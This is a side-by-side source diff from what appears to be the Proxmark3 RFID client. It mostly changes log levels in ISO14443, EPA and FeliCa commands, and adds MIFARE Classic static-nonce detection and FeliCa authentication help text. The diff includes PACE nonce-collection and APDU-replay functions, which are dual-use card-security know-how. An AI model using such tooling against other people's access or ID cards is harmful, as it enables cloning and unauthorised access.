PrintAndLogEx(NORMAL, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); PrintAndLogEx(SUCCESS, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]);
DropField(); DropField();
return select_status; return select_status;
} }
PrintAndLogEx(NORMAL, " UID : %s", sprint_hex(card.uid, card.uidlen)); PrintAndLogEx(SUCCESS, " UID : %s", sprint_hex(card.uid, card.uidlen));
PrintAndLogEx(NORMAL, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); PrintAndLogEx(SUCCESS, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]);
PrintAndLogEx(NORMAL, " SAK : %02x [%" PRIu64 "]", card.sak, resp.oldarg[0]); PrintAndLogEx(SUCCESS, " SAK : %02x [%" PRIu64 "]", card.sak, resp.oldarg[0]);
bool isMifareClassic = true; bool isMifareClassic = true;
switch (card.sak) { switch (card.sak) {
@ -1287,7 +1297,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) {
if (tagT != UL_ERROR) if (tagT != UL_ERROR)
ul_print_type(tagT, 0); ul_print_type(tagT, 0);
else else
PrintAndLogEx(NORMAL, "TYPE: Possible AZTEK (iso14443a compliant)"); PrintAndLogEx(SUCCESS, "TYPE: Possible AZTEK (iso14443a compliant)");
// reconnect for further tests // reconnect for further tests
clearCommandBuffer(); clearCommandBuffer();
@ -1304,49 +1314,49 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) {
} }
break; break;
case 0x01: case 0x01:
PrintAndLogEx(NORMAL, "TYPE : NXP TNP3xxx Activision Game Appliance"); PrintAndLogEx(SUCCESS, "TYPE : NXP TNP3xxx Activision Game Appliance");
break; break;
case 0x04: case 0x04:
PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE (various !DESFire !DESFire EV1)"); PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE (various !DESFire !DESFire EV1)");
isMifareClassic = false; isMifareClassic = false;
break; break;
case 0x08: case 0x08:
PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1 | 1k Ev1"); PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1 | 1k Ev1");
break; break;
case 0x09: case 0x09:
PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE Mini 0.3k"); PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE Mini 0.3k");
break; break;
case 0x0A: case 0x0A:
PrintAndLogEx(NORMAL, "TYPE : FM11RF005SH (Shanghai Metro)"); PrintAndLogEx(SUCCESS, "TYPE : FM11RF005SH (Shanghai Metro)");
break; break;
case 0x10: case 0x10:
PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE Plus 2k SL2"); PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE Plus 2k SL2");
break; break;
case 0x11: case 0x11:
PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE Plus 4k SL2"); PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE Plus 4k SL2");
break; break;
case 0x18: case 0x18:
PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE Classic 4k | Plus 4k SL1 | 4k Ev1"); PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE Classic 4k | Plus 4k SL1 | 4k Ev1");
break; break;
case 0x20: case 0x20:
PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE DESFire 4k | DESFire EV1 2k/4k/8k | Plus 2k/4k SL3 | JCOP 31/41"); PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE DESFire 4k | DESFire EV1 2k/4k/8k | Plus 2k/4k SL3 | JCOP 31/41");
isMifareClassic = false; isMifareClassic = false;
break; break;
case 0x24: case 0x24:
PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE DESFire | DESFire EV1"); PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE DESFire | DESFire EV1");
isMifareClassic = false; isMifareClassic = false;
break; break;
case 0x28: case 0x28:
PrintAndLogEx(NORMAL, "TYPE : JCOP31 or JCOP41 v2.3.1"); PrintAndLogEx(SUCCESS, "TYPE : JCOP31 or JCOP41 v2.3.1");
break; break;
case 0x38: case 0x38:
PrintAndLogEx(NORMAL, "TYPE : Nokia 6212 or 6131 MIFARE CLASSIC 4K"); PrintAndLogEx(SUCCESS, "TYPE : Nokia 6212 or 6131 MIFARE CLASSIC 4K");
break; break;
case 0x88: case 0x88:
PrintAndLogEx(NORMAL, "TYPE : Infineon MIFARE CLASSIC 1K"); PrintAndLogEx(SUCCESS, "TYPE : Infineon MIFARE CLASSIC 1K");
break; break;
case 0x98: case 0x98:
PrintAndLogEx(NORMAL, "TYPE : Gemplus MPCOS"); PrintAndLogEx(SUCCESS, "TYPE : Gemplus MPCOS");
break; break;
default: default:
; ;
@ -1354,7 +1364,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) {
// Double & triple sized UID, can be mapped to a manufacturer. // Double & triple sized UID, can be mapped to a manufacturer.
if (card.uidlen > 4) { if (card.uidlen > 4) {
PrintAndLogEx(NORMAL, "MANUFACTURER : %s", getTagInfo(card.uid[0])); PrintAndLogEx(SUCCESS, "MANUFACTURER : %s", getTagInfo(card.uid[0]));
} }
// try to request ATS even if tag claims not to support it // try to request ATS even if tag claims not to support it
@ -1373,12 +1383,12 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) {
int pos; int pos;
if (select_status == 2) { if (select_status == 2) {
PrintAndLogEx(NORMAL, "SAK incorrectly claims that card doesn't support RATS"); PrintAndLogEx(INFO, "SAK incorrectly claims that card doesn't support RATS");
} }
PrintAndLogEx(NORMAL, " ATS : %s", sprint_hex(card.ats, card.ats_len)); PrintAndLogEx(SUCCESS, " ATS : %s", sprint_hex(card.ats, card.ats_len));
PrintAndLogEx(NORMAL, " - TL : length is %d bytes", card.ats[0]); PrintAndLogEx(SUCCESS, " - TL : length is %d bytes", card.ats[0]);
if (card.ats[0] != card.ats_len - 2) { if (card.ats[0] != card.ats_len - 2) {
PrintAndLogEx(NORMAL, "ATS may be corrupted. Length of ATS (%d bytes incl. 2 Bytes CRC) doesn't match TL", card.ats_len); PrintAndLogEx(SUCCESS, "ATS may be corrupted. Length of ATS (%d bytes incl. 2 Bytes CRC) doesn't match TL", card.ats_len);
} }
if (card.ats[0] > 1) { // there is a format byte (T0) if (card.ats[0] > 1) { // there is a format byte (T0)
@ -1387,7 +1397,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) {
tc1 = (card.ats[1] & 0x40) == 0x40; tc1 = (card.ats[1] & 0x40) == 0x40;
int16_t fsci = card.ats[1] & 0x0f; int16_t fsci = card.ats[1] & 0x0f;
PrintAndLogEx(NORMAL, " - T0 : TA1 is%s present, TB1 is%s present, " PrintAndLogEx(SUCCESS, " - T0 : TA1 is%s present, TB1 is%s present, "
"TC1 is%s present, FSCI is %d (FSC = %d)", "TC1 is%s present, FSCI is %d (FSC = %d)",
(ta1 ? "" : " NOT"), (ta1 ? "" : " NOT"),
(tb1 ? "" : " NOT"), (tb1 ? "" : " NOT"),
@ -1408,7 +1418,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) {
if (card.ats[pos] & 0x04) strcat(dr, "8, "); if (card.ats[pos] & 0x04) strcat(dr, "8, ");
if (strlen(ds) != 0) ds[strlen(ds) - 2] = '\0'; if (strlen(ds) != 0) ds[strlen(ds) - 2] = '\0';
if (strlen(dr) != 0) dr[strlen(dr) - 2] = '\0'; if (strlen(dr) != 0) dr[strlen(dr) - 2] = '\0';
PrintAndLogEx(NORMAL, " - TA1 : different divisors are%s supported, " PrintAndLogEx(SUCCESS, " - TA1 : different divisors are%s supported, "
"DR: [%s], DS: [%s]", "DR: [%s], DS: [%s]",
((card.ats[pos] & 0x80) ? " NOT" : ""), ((card.ats[pos] & 0x80) ? " NOT" : ""),
dr, dr,
@ -1420,7 +1430,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) {
if (tb1) { if (tb1) {
uint32_t sfgi = card.ats[pos] & 0x0F; uint32_t sfgi = card.ats[pos] & 0x0F;
uint32_t fwi = card.ats[pos] >> 4; uint32_t fwi = card.ats[pos] >> 4;
PrintAndLogEx(NORMAL, " - TB1 : SFGI = %d (SFGT = %s%d/fc), FWI = %d (FWT = %d/fc)", PrintAndLogEx(SUCCESS, " - TB1 : SFGI = %d (SFGT = %s%d/fc), FWI = %d (FWT = %d/fc)",
(sfgi), (sfgi),
sfgi ? "" : "(not needed) ", sfgi ? "" : "(not needed) ",
sfgi ? (1 << 12) << sfgi : 0, sfgi ? (1 << 12) << sfgi : 0,
@ -1430,7 +1440,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) {
pos++; pos++;
} }
if (tc1) { if (tc1) {
PrintAndLogEx(NORMAL, " - TC1 : NAD is%s supported, CID is%s supported", PrintAndLogEx(SUCCESS, " - TC1 : NAD is%s supported, CID is%s supported",
(card.ats[pos] & 0x01) ? "" : " NOT", (card.ats[pos] & 0x01) ? "" : " NOT",
(card.ats[pos] & 0x02) ? "" : " NOT"); (card.ats[pos] & 0x02) ? "" : " NOT");
pos++; pos++;
@ -1444,63 +1454,63 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) {
tip = "-> MIFARE Plus S 2K or 4K"; tip = "-> MIFARE Plus S 2K or 4K";
} }
} }
PrintAndLogEx(NORMAL, " - HB : %s%s", sprint_hex(card.ats + pos, card.ats[0] - pos), tip); PrintAndLogEx(SUCCESS, " - HB : %s%s", sprint_hex(card.ats + pos, card.ats[0] - pos), tip);
if (card.ats[pos] == 0xC1) { if (card.ats[pos] == 0xC1) {
PrintAndLogEx(NORMAL, " c1 -> Mifare or (multiple) virtual cards of various type"); PrintAndLogEx(SUCCESS, " c1 -> Mifare or (multiple) virtual cards of various type");
PrintAndLogEx(NORMAL, " %02x -> Length is %d bytes", card.ats[pos + 1], card.ats[pos + 1]); PrintAndLogEx(SUCCESS, " %02x -> Length is %d bytes", card.ats[pos + 1], card.ats[pos + 1]);
switch (card.ats[pos + 2] & 0xf0) { switch (card.ats[pos + 2] & 0xf0) {
case 0x10: case 0x10:
PrintAndLogEx(NORMAL, " 1x -> MIFARE DESFire"); PrintAndLogEx(SUCCESS, " 1x -> MIFARE DESFire");
break; break;
case 0x20: case 0x20:
PrintAndLogEx(NORMAL, " 2x -> MIFARE Plus"); PrintAndLogEx(SUCCESS, " 2x -> MIFARE Plus");
break; break;
} }
switch (card.ats[pos + 2] & 0x0f) { switch (card.ats[pos + 2] & 0x0f) {
case 0x00: case 0x00:
PrintAndLogEx(NORMAL, " x0 -> <1 kByte"); PrintAndLogEx(SUCCESS, " x0 -> <1 kByte");
break; break;
case 0x01: case 0x01:
PrintAndLogEx(NORMAL, " x1 -> 1 kByte"); PrintAndLogEx(SUCCESS, " x1 -> 1 kByte");
break; break;
case 0x02: case 0x02:
PrintAndLogEx(NORMAL, " x2 -> 2 kByte"); PrintAndLogEx(SUCCESS, " x2 -> 2 kByte");
break; break;
case 0x03: case 0x03:
PrintAndLogEx(NORMAL, " x3 -> 4 kByte"); PrintAndLogEx(SUCCESS, " x3 -> 4 kByte");
break; break;
case 0x04: case 0x04:
PrintAndLogEx(NORMAL, " x4 -> 8 kByte"); PrintAndLogEx(SUCCESS, " x4 -> 8 kByte");
break; break;
} }
switch (card.ats[pos + 3] & 0xf0) { switch (card.ats[pos + 3] & 0xf0) {
case 0x00: case 0x00:
PrintAndLogEx(NORMAL, " 0x -> Engineering sample"); PrintAndLogEx(SUCCESS, " 0x -> Engineering sample");
break; break;
case 0x20: case 0x20:
PrintAndLogEx(NORMAL, " 2x -> Released"); PrintAndLogEx(SUCCESS, " 2x -> Released");
break; break;
} }
switch (card.ats[pos + 3] & 0x0f) { switch (card.ats[pos + 3] & 0x0f) {
case 0x00: case 0x00:
PrintAndLogEx(NORMAL, " x0 -> Generation 1"); PrintAndLogEx(SUCCESS, " x0 -> Generation 1");
break; break;
case 0x01: case 0x01:
PrintAndLogEx(NORMAL, " x1 -> Generation 2"); PrintAndLogEx(SUCCESS, " x1 -> Generation 2");
break; break;
case 0x02: case 0x02:
PrintAndLogEx(NORMAL, " x2 -> Generation 3"); PrintAndLogEx(SUCCESS, " x2 -> Generation 3");
break; break;
} }
switch (card.ats[pos + 4] & 0x0f) { switch (card.ats[pos + 4] & 0x0f) {
case 0x00: case 0x00:
PrintAndLogEx(NORMAL, " x0 -> Only VCSL supported"); PrintAndLogEx(SUCCESS, " x0 -> Only VCSL supported");
break; break;
case 0x01: case 0x01:
PrintAndLogEx(NORMAL, " x1 -> VCS, VCSL, and SVC supported"); PrintAndLogEx(SUCCESS, " x1 -> VCS, VCSL, and SVC supported");
break; break;
case 0x0E: case 0x0E:
PrintAndLogEx(NORMAL, " xE -> no VCS command supported"); PrintAndLogEx(SUCCESS, " xE -> no VCS command supported");
break; break;
} }
} }
@ -1543,9 +1553,9 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) {
if (sw == 0x9000 || sw == 0x6283 || sw == 0x6285) { if (sw == 0x9000 || sw == 0x6283 || sw == 0x6285) {
if (sw == 0x9000) { if (sw == 0x9000) {
if (verbose) PrintAndLogEx(NORMAL, "------------- Application OK -----------"); if (verbose) PrintAndLogEx(SUCCESS, "------------- Application OK -----------");
} else { } else {
if (verbose) PrintAndLogEx(NORMAL, "----------- Application blocked --------"); if (verbose) PrintAndLogEx(WARNING, "----------- Application blocked --------");
} }
PrintAIDDescriptionBuf(root, vaid, vaidlen, verbose); PrintAIDDescriptionBuf(root, vaid, vaidlen, verbose);
@ -1588,6 +1598,12 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) {
if (do_nack_test) if (do_nack_test)
detect_classic_nackbug(!verbose); detect_classic_nackbug(!verbose);
res = detect_classic_static_nonce();
if (res == 1)
PrintAndLogEx(SUCCESS, "Static nonce detected");
if (res == 2 && verbose)
PrintAndLogEx(SUCCESS, "Static nonce detection failed");
} }
return select_status; return select_status;

View file

@ -1,7 +1,7 @@
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com> // Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
// 2011, Merlok // 2011,2019 Merlok
// 2015,216,2017 iceman, marshmellow, piwi // 2015,2016,2017 iceman, marshmellow, piwi
// This code is licensed to you under the terms of the GNU GPL, version 2 or, // This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of // at your option, any later version. See the LICENSE.txt file for the text of
// the license. // the license.
@ -30,6 +30,6 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search);
const char *getTagInfo(uint8_t uid); const char *getTagInfo(uint8_t uid);
int Hf14443_4aGetCardData(iso14a_card_select_t *card); int Hf14443_4aGetCardData(iso14a_card_select_t *card);
int ExchangeAPDU14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); int ExchangeAPDU14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen);
int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, bool silentMode);
#endif #endif

View file

@ -528,9 +528,10 @@ static bool HF14B_Std_Info(bool verbose) {
switch (status) { switch (status) {
case 0: case 0:
PrintAndLogEx(NORMAL, " UID : %s", sprint_hex(card.uid, card.uidlen)); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, " ATQB : %s", sprint_hex(card.atqb, sizeof(card.atqb))); PrintAndLogEx(SUCCESS, " UID : %s", sprint_hex(card.uid, card.uidlen));
PrintAndLogEx(NORMAL, " CHIPID : %02X", card.chipid); PrintAndLogEx(SUCCESS, " ATQB : %s", sprint_hex(card.atqb, sizeof(card.atqb)));
PrintAndLogEx(SUCCESS, " CHIPID : %02X", card.chipid);
print_atqb_resp(card.atqb, card.cid); print_atqb_resp(card.atqb, card.cid);
isSuccess = true; isSuccess = true;
break; break;
@ -662,9 +663,10 @@ static bool HF14B_Std_Reader(bool verbose) {
switch (status) { switch (status) {
case 0: case 0:
PrintAndLogEx(NORMAL, " UID : %s", sprint_hex(card.uid, card.uidlen)); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, " ATQB : %s", sprint_hex(card.atqb, sizeof(card.atqb))); PrintAndLogEx(SUCCESS, " UID : %s", sprint_hex(card.uid, card.uidlen));
PrintAndLogEx(NORMAL, " CHIPID : %02X", card.chipid); PrintAndLogEx(SUCCESS, " ATQB : %s", sprint_hex(card.atqb, sizeof(card.atqb)));
PrintAndLogEx(SUCCESS, " CHIPID : %02X", card.chipid);
print_atqb_resp(card.atqb, card.cid); print_atqb_resp(card.atqb, card.cid);
isSuccess = true; isSuccess = true;
break; break;
@ -808,13 +810,13 @@ static int CmdHF14BWriteSri(const char *Cmd) {
} }
if (blockno == 0xff) { if (blockno == 0xff) {
PrintAndLogEx(SUCCESS, "[%s] Write special block %02X [ %s ]", PrintAndLogEx(SUCCESS, "[%s] Write special block %02X [ " _YELLOW_("%s")" ]",
(isSrix4k) ? "SRIX4K" : "SRI512", (isSrix4k) ? "SRIX4K" : "SRI512",
blockno, blockno,
sprint_hex(data, 4) sprint_hex(data, 4)
); );
} else { } else {
PrintAndLogEx(SUCCESS, "[%s] Write block %02X [ %s ]", PrintAndLogEx(SUCCESS, "[%s] Write block %02X [ " _YELLOW_("%s")" ]",
(isSrix4k) ? "SRIX4K" : "SRI512", (isSrix4k) ? "SRIX4K" : "SRI512",
blockno, blockno,
sprint_hex(data, 4) sprint_hex(data, 4)

File diff suppressed because it is too large Load diff

View file

@ -15,6 +15,6 @@
int CmdHF15(const char *Cmd); int CmdHF15(const char *Cmd);
int readHF15Uid(bool verbose); bool readHF15Uid(bool verbose);
#endif #endif

View file

@ -16,7 +16,7 @@
#include <stdlib.h> #include <stdlib.h>
#include "cmdparser.h" // command_t #include "cmdparser.h" // command_t
#include "commonutil.h" // ARRAYLEN #include "commonutil.h" // ARRAYLEN
#include "comms.h" // clearCommandBuffer #include "comms.h" // clearCommandBuffer
#include "ui.h" #include "ui.h"
#include "util_posix.h" #include "util_posix.h"
@ -38,8 +38,8 @@ static int CmdHFEPACollectPACENonces(const char *Cmd) {
m = m > 0 ? m : 1; m = m > 0 ? m : 1;
n = n > 0 ? n : 1; n = n > 0 ? n : 1;
PrintAndLogEx(NORMAL, "Collecting %u %u byte nonces", n, m); PrintAndLogEx(SUCCESS, "Collecting %u %u byte nonces", n, m);
PrintAndLogEx(NORMAL, "Start: %" PRIu64, msclock() / 1000); PrintAndLogEx(SUCCESS, "Start: %" PRIu64, msclock() / 1000);
// repeat n times // repeat n times
for (uint32_t i = 0; i < n; i++) { for (uint32_t i = 0; i < n; i++) {
// execute PACE // execute PACE
@ -58,15 +58,15 @@ static int CmdHFEPACollectPACENonces(const char *Cmd) {
sprintf(nonce + (2 * j), "%02X", resp.data.asBytes[j]); sprintf(nonce + (2 * j), "%02X", resp.data.asBytes[j]);
} }
// print nonce // print nonce
PrintAndLogEx(NORMAL, "Length: %zu, Nonce: %s", nonce_length, nonce); PrintAndLogEx(SUCCESS, "Length: %zu, Nonce: %s", nonce_length, nonce);
free(nonce); free(nonce);
} }
if (i < n - 1) { if (i < n - 1) {
sleep(d); sleep(d);
} }
} }
PrintAndLogEx(NORMAL, "End: %" PRIu64, msclock() / 1000); PrintAndLogEx(SUCCESS, "End: %" PRIu64, msclock() / 1000);
return 1; return PM3_SUCCESS;
} }
// perform the PACE protocol by replaying APDUs // perform the PACE protocol by replaying APDUs
@ -98,9 +98,9 @@ static int CmdHFEPAPACEReplay(const char *Cmd) {
); );
if (scan_return < 1) { if (scan_return < 1) {
PrintAndLogEx(NORMAL, (char *)usage_msg); PrintAndLogEx(INFO, (char *)usage_msg);
PrintAndLogEx(WARNING, "Not enough APDUs! Try again!"); PrintAndLogEx(WARNING, "Not enough APDUs! Try again!");
return 0; return PM3_SUCCESS;
} }
skip += skip_add; skip += skip_add;
apdu_lengths[i]++; apdu_lengths[i]++;
@ -110,8 +110,8 @@ static int CmdHFEPAPACEReplay(const char *Cmd) {
if (Cmd[skip] == '\0') { if (Cmd[skip] == '\0') {
if (i < ARRAYLEN(apdu_lengths) - 1) { if (i < ARRAYLEN(apdu_lengths) - 1) {
PrintAndLogEx(NORMAL, (char *)usage_msg); PrintAndLogEx(INFO, (char *)usage_msg);
return 0; return PM3_SUCCESS;
} }
break; break;
} }
@ -146,7 +146,7 @@ static int CmdHFEPAPACEReplay(const char *Cmd) {
WaitForResponse(CMD_ACK, &resp); WaitForResponse(CMD_ACK, &resp);
if (resp.oldarg[0] != 0) { if (resp.oldarg[0] != 0) {
PrintAndLogEx(WARNING, "Transfer of APDU #%d Part %d failed!", i, j); PrintAndLogEx(WARNING, "Transfer of APDU #%d Part %d failed!", i, j);
return 0; return PM3_ESOFT;
} }
} }
} }
@ -156,22 +156,22 @@ static int CmdHFEPAPACEReplay(const char *Cmd) {
SendCommandMIX(CMD_HF_EPA_REPLAY, 0, 0, 0, NULL, 0); SendCommandMIX(CMD_HF_EPA_REPLAY, 0, 0, 0, NULL, 0);
WaitForResponse(CMD_ACK, &resp); WaitForResponse(CMD_ACK, &resp);
if (resp.oldarg[0] != 0) { if (resp.oldarg[0] != 0) {
PrintAndLogEx(NORMAL, "\nPACE replay failed in step %u!", (uint32_t)resp.oldarg[0]); PrintAndLogEx(SUCCESS, "\nPACE replay failed in step %u!", (uint32_t)resp.oldarg[0]);
PrintAndLogEx(NORMAL, "Measured times:"); PrintAndLogEx(SUCCESS, "Measured times:");
PrintAndLogEx(NORMAL, "MSE Set AT: %u us", resp.data.asDwords[0]); PrintAndLogEx(SUCCESS, "MSE Set AT: %u us", resp.data.asDwords[0]);
PrintAndLogEx(NORMAL, "GA Get Nonce: %u us", resp.data.asDwords[1]); PrintAndLogEx(SUCCESS, "GA Get Nonce: %u us", resp.data.asDwords[1]);
PrintAndLogEx(NORMAL, "GA Map Nonce: %u us", resp.data.asDwords[2]); PrintAndLogEx(SUCCESS, "GA Map Nonce: %u us", resp.data.asDwords[2]);
PrintAndLogEx(NORMAL, "GA Perform Key Agreement: %u us", resp.data.asDwords[3]); PrintAndLogEx(SUCCESS, "GA Perform Key Agreement: %u us", resp.data.asDwords[3]);
PrintAndLogEx(NORMAL, "GA Mutual Authenticate: %u us", resp.data.asDwords[4]); PrintAndLogEx(SUCCESS, "GA Mutual Authenticate: %u us", resp.data.asDwords[4]);
} else { } else {
PrintAndLogEx(NORMAL, "PACE replay successful!"); PrintAndLogEx(SUCCESS, "PACE replay successful!");
PrintAndLogEx(NORMAL, "MSE Set AT: %u us", resp.data.asDwords[0]); PrintAndLogEx(SUCCESS, "MSE Set AT: %u us", resp.data.asDwords[0]);
PrintAndLogEx(NORMAL, "GA Get Nonce: %u us", resp.data.asDwords[1]); PrintAndLogEx(SUCCESS, "GA Get Nonce: %u us", resp.data.asDwords[1]);
PrintAndLogEx(NORMAL, "GA Map Nonce: %u us", resp.data.asDwords[2]); PrintAndLogEx(SUCCESS, "GA Map Nonce: %u us", resp.data.asDwords[2]);
PrintAndLogEx(NORMAL, "GA Perform Key Agreement: %u us", resp.data.asDwords[3]); PrintAndLogEx(SUCCESS, "GA Perform Key Agreement: %u us", resp.data.asDwords[3]);
PrintAndLogEx(NORMAL, "GA Mutual Authenticate: %u us", resp.data.asDwords[4]); PrintAndLogEx(SUCCESS, "GA Mutual Authenticate: %u us", resp.data.asDwords[4]);
} }
return 1; return PM3_SUCCESS;
} }
static command_t CommandTable[] = { static command_t CommandTable[] = {
@ -184,7 +184,7 @@ static command_t CommandTable[] = {
static int CmdHelp(const char *Cmd) { static int CmdHelp(const char *Cmd) {
(void)Cmd; // Cmd is not used so far (void)Cmd; // Cmd is not used so far
CmdsHelp(CommandTable); CmdsHelp(CommandTable);
return 0; return PM3_SUCCESS;
} }
int CmdHFEPA(const char *Cmd) { int CmdHFEPA(const char *Cmd) {

View file

@ -22,6 +22,7 @@
#include "util.h" #include "util.h"
#include "ui.h" #include "ui.h"
#include "mifare.h" // felica_card_select_t struct #include "mifare.h" // felica_card_select_t struct
#include "mbedtls/des.h"
#define AddCrc(data, len) compute_crc(CRC_FELICA, (data), (len), (data)+(len)+1, (data)+(len)) #define AddCrc(data, len) compute_crc(CRC_FELICA, (data), (len), (data)+(len)+1, (data)+(len))
static int CmdHelp(const char *Cmd); static int CmdHelp(const char *Cmd);
@ -282,6 +283,58 @@ static int usage_hf_felica_request_specification_version() {
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int usage_hf_felica_authentication1() {
PrintAndLogEx(NORMAL, "\nInfo: Initiate mutual authentication. This command must always be executed before Authentication2 command"
", and mutual authentication is achieve only after Authentication2 command has succeeded.");
PrintAndLogEx(NORMAL, " - Auth1 Parameters:");
PrintAndLogEx(NORMAL, " - Number of Areas n: 1-byte (1 <= n <= 8)");
PrintAndLogEx(NORMAL, " - Area Code List: 2n byte");
PrintAndLogEx(NORMAL, " - Number of Services m: 1-byte (1 <= n <= 8)");
PrintAndLogEx(NORMAL, " - Service Code List: 2n byte");
PrintAndLogEx(NORMAL, " - 3DES-Key: 128-bit master secret used for the encryption");
PrintAndLogEx(NORMAL, " - M1c: Encrypted random number - challenge for tag authentication (8-byte)");
PrintAndLogEx(NORMAL, " - Response:");
PrintAndLogEx(NORMAL, " - Response Code: 11h 1-byte");
PrintAndLogEx(NORMAL, " - Manufacture ID(IDm): 8-byte");
PrintAndLogEx(NORMAL, " - M2c: 8-byte");
PrintAndLogEx(NORMAL, " - M3c: 8-byte");
PrintAndLogEx(NORMAL, " - Success: Card Mode switches to Mode1. You can check this with the request response command.");
PrintAndLogEx(NORMAL, " - Unsuccessful: Card should not respond at all.");
PrintAndLogEx(NORMAL, "\nUsage: hf felica auth1 [-h][-i] <01 Number of Areas hex> <0A0B... Area Code List hex> <01 Number of Services hex> <0A0B... Service Code List hex> <0x0102030405060809... 3DES-key hex (16-byte)>");
PrintAndLogEx(NORMAL, " -h this help");
PrintAndLogEx(NORMAL, " -i <0A0B0C ... hex> set custom IDm to use");
PrintAndLogEx(NORMAL, "\nExamples: ");
PrintAndLogEx(NORMAL, " hf felica auth1 01 0000 01 8B00 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB ");
PrintAndLogEx(NORMAL, " hf felica auth1 01 0000 01 8B00 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAA ");
PrintAndLogEx(NORMAL, " hf felica auth1 -i 11100910C11BC407 01 0000 01 8B00 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB\n\n");
return PM3_SUCCESS;
}
static int usage_hf_felica_authentication2() {
PrintAndLogEx(NORMAL, "\nInfo: Complete mutual authentication. This command can only be executed subsquent to Authentication1"
" command.");
PrintAndLogEx(NORMAL, " - Auth2 Parameters:");
PrintAndLogEx(NORMAL, " - Manufacturer IDm: (8-byte)");
PrintAndLogEx(NORMAL, " - M3c: card challenge (8-byte)");
PrintAndLogEx(NORMAL, " - 3DES Key: key used for decryption of M3c (16-byte)");
PrintAndLogEx(NORMAL, " - Response (encrypted):");
PrintAndLogEx(NORMAL, " - Response Code: 13h (1-byte)");
PrintAndLogEx(NORMAL, " - IDtc: (8-byte)");
PrintAndLogEx(NORMAL, " - IDi (encrypted): (8-byte)");
PrintAndLogEx(NORMAL, " - PMi (encrypted): (8-byte)");
PrintAndLogEx(NORMAL, " - Success: Card switches to mode2 and sends response frame.");
PrintAndLogEx(NORMAL, " - Unsuccessful: Card should not respond at all.");
PrintAndLogEx(NORMAL, "\nUsage: hf felica auth2 [-h][-i] <0102030405060708 M3c hex> <0x0102030405060809... 3DES-key hex (16-byte)>");
PrintAndLogEx(NORMAL, " -h this help");
PrintAndLogEx(NORMAL, " -i <0A0B0C ... hex> set custom IDm to use");
PrintAndLogEx(NORMAL, "\nExamples: ");
PrintAndLogEx(NORMAL, " hf felica auth2 0102030405060708 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB");
PrintAndLogEx(NORMAL, " hf felica auth2 -i 11100910C11BC407 0102030405060708 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB\n\n");
return PM3_SUCCESS;
}
/** /**
* Wait for response from pm3 or timeout. * Wait for response from pm3 or timeout.
* Checks if receveid bytes have a valid CRC. * Checks if receveid bytes have a valid CRC.
@ -291,12 +344,12 @@ static bool waitCmdFelica(uint8_t iSelect, PacketResponseNG *resp, bool verbose)
if (WaitForResponseTimeout(CMD_ACK, resp, 2000)) { if (WaitForResponseTimeout(CMD_ACK, resp, 2000)) {
uint16_t len = iSelect ? (resp->oldarg[1] & 0xffff) : (resp->oldarg[0] & 0xffff); uint16_t len = iSelect ? (resp->oldarg[1] & 0xffff) : (resp->oldarg[0] & 0xffff);
if (verbose) { if (verbose) {
PrintAndLogEx(NORMAL, "Client Received %i octets", len); PrintAndLogEx(SUCCESS, "Client Received %i octets", len);
if (!len || len < 2) { if (len == 0 || len == 1) {
PrintAndLogEx(ERR, "Could not receive data correctly!"); PrintAndLogEx(ERR, "Could not receive data correctly!");
return false; return false;
} }
PrintAndLogEx(NORMAL, "%s", sprint_hex(resp->data.asBytes, len)); PrintAndLogEx(SUCCESS, "%s", sprint_hex(resp->data.asBytes, len));
